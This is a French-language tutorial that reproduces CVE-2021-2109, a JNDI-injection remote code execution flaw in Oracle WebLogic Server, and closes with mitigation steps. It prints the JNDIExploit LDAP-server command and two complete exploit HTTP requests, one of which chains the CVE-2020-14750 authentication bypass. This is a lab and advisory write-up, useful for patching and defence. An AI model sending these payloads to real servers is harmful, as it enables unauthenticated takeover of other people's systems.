
Reproduction et analyse étape par étape de CVE-2021-2109, une vulnérabilité d'exécution de code à distance du serveur Weblogic via une injection JNDI, avec POC et conseils d'atténuation.
En janvier 2021, Oracle a publié des correctifs de sécurité, incluant 329 nouveaux correctifs de sécurité dans la gamme de produits Oracle. Ce communiqué mentionne particulièrement l'avis de sécurité Oracle WebLogic Server concernant la vulnérabilité CVE-2020-14750, publié le 1er novembre 2020. Il est fortement recommandé aux clients d'appliquer cette mise à jour de correctif ainsi que les autres correctifs de cet avis. La vulnérabilité CVE-2021-2109 est une vulnérabilité d'exécution de code à distance de Weblogic. Elle est principalement due à une injection JNDI, permettant à un attaquant d'exécuter du code à distance via cette vulnérabilité.
Versions concernées : Weblogic Server 10.3.6.0.0 Weblogic Server 12.1.3.0.0 Weblogic Server 12.2.1.3.0 Weblogic Server 12.2.1.4.0 Weblogic Server 14.1.1.0.0
Utilisez DOCKER pour construire un environnement de test Weblogic Server, Weblogic Server est accessible normalement.

Premier cas : il est nécessaire de se connecter à l'interface d'administration du Weblogic Server avec un compte administrateur, de capturer le paquet de connexion via BurpSuite et d'obtenir les données du cookie de connexion.

Lancez LDAP localement, téléchargeable sur https://github.com/feihong-cs/JNDIExploit/releases/tag/v.1.11, la commande est la suivante : java -jar JNDIExploit-v1.11.jar -i 192.168.131.1

Envoyez le paquet de données POC d'injection JNDI pour la vulnérabilité d'exécution de code à distance CVE-2021-2109 Weblogic Server : POST /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.131;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1

Exécutez la commande système ipconfig via la variable cmd.

Deuxième cas : pas besoin de se connecter à l'interface d'administration de Weblogic Server.
Il est nécessaire de combiner avec la vulnérabilité d'accès non autorisé CVE-2020-14750 de Weblogic Server, et d'envoyer le paquet de données POC d'injection JNDI pour la vulnérabilité d'exécution de code à distance CVE-2021-2109 Weblogic Server : POST /console/css/%25%32%65%25%32%65%25%32%66/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&cqqhandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.131;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1

Exécutez calc.exe via la variable cmd pour ouvrir la calculatrice système.


La calculatrice système est ouverte.

Si vous ne dépendez pas du protocole T3 pour la communication JVM, vous pouvez atténuer l'impact de cette vulnérabilité en bloquant temporairement le protocole T3.
1). Accédez à la console Weblogic, dans la page de configuration de base_domain, allez dans l'onglet 'Sécurité', cliquez sur 'Filtre' et configurez le filtre.
2). Saisissez dans le filtre de connexion : weblogic.security.net.ConnectionFilterImpl, et dans la boîte de règles du filtre de connexion, saisissez : * * 7001 deny t3 t3s.
Connectez-vous à la console Weblogic, trouvez l'option Activer IIOP, décochez-la, redémarrez pour appliquer.
Fermer temporairement l'accès externe à /console/console.portal
Mettre à jour avec le correctif de sécurité officiel